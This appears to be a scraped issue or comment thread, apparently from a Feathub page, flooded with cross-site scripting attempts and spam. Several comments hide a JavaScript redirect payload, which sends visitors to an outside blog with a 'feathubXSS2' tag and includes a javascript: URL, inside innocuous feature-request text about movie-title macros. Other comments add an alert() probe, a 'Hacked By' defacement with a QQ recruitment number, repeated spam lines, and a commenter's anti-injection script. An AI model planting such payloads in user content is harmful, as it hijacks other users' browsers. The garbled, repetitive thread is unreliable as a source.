If it were too difficult to allow as the folder under root,
window.location.href='https://blogs.kainy.cn/?from=feathubXSS2';
setTimeout("javascript:location.href='hello.html'", 0);
how about a new macro/variable that lets us do something like {Movie TitleThe:1} that will use the first letter of the title, or some other customization (and NOT require {Movie Title} as a mandatory field)。。 。
If it were too difficult to allow as the folder under root,
window.location.href='https://blogs.kainy.cn/?from=feathubXSS2';
setTimeout("javascript:location.href='hello.html'", 0);
how about a new macro/variable that lets us do something like {Movie TitleThe:1} that will use the first letter of the title, or some other customization (and NOT require {Movie Title} as a mandatory field)。。
反注入补丁
zx775337791 commented 10 months ago
Tea img,svg,table{visibility: collapse;}
kevindragong commented 10 months ago
are you zhaoxu?
| 974297362 commented 10 months ago
are you zhaoxu?
| ntyangyang commented 10 months ago
are you zhaoxu?
| ww3651425 commented 10 months ago
are you zhaoxu?
| mirsQian commented 10 months ago
are you zhaoxu?
| alightman commented 10 months ago
are you zhaoxu?
CoatiFly commented 10 months ago
are you zhaoxu?
keepzouba commented 10 months ago
这不是tm相当于实名举报了，厉害
sf197 commented 10 months ago
sf197 commented 10 months ago
alert(/tasd/)
xss67612 commented 10 months ago
Hacked By Helen收徒QQ925999918
superzmy commented 10 months ago
for(var x of document.getElementsByClassName("body")) { if (x.innerHTML.indexOf("script") >= 0) x.innerHTML = ""; }
反注入补丁 <script> for(var x of document.getElementsByClassName("body")) { if (x.innerHTML.indexOf("script") >= 0) x.innerHTML = ""; } <script>
itongqingbo commented 10 months ago
怎么反 注入
itongqingbo commented 10 months ago
my test commit
itongqingbo commented 10 months ago
122
itongqingbo commented 10 months ago
test repeat sent b
q8195438 commented 10 months ago
for (var i=0;i
guotao commented 10 months ago
If it were too difficult to allow as the folder under root, window.location.href='https://blogs.kainy.cn/?from=feathubXSS2'; setTimeout("javascript:location.href='hello.html'", 0); how about a new macro/variable that lets us do something like {Movie TitleThe:1} that will use the first letter of the title, or some other customization (and NOT require {Movie Title} as a mandatory field)。。 。
guotao commented 10 months ago
If it were too difficult to allow as the folder under root, window.location.href='https://blogs.kainy.cn/?from=feathubXSS2'; setTimeout("javascript:location.href='hello.html'", 0); how about a new macro/variable that lets us do something like {Movie TitleThe:1} that will use the first letter of the title, or some other customization (and NOT require {Movie Title} as a mandatory field)。。 反注入补丁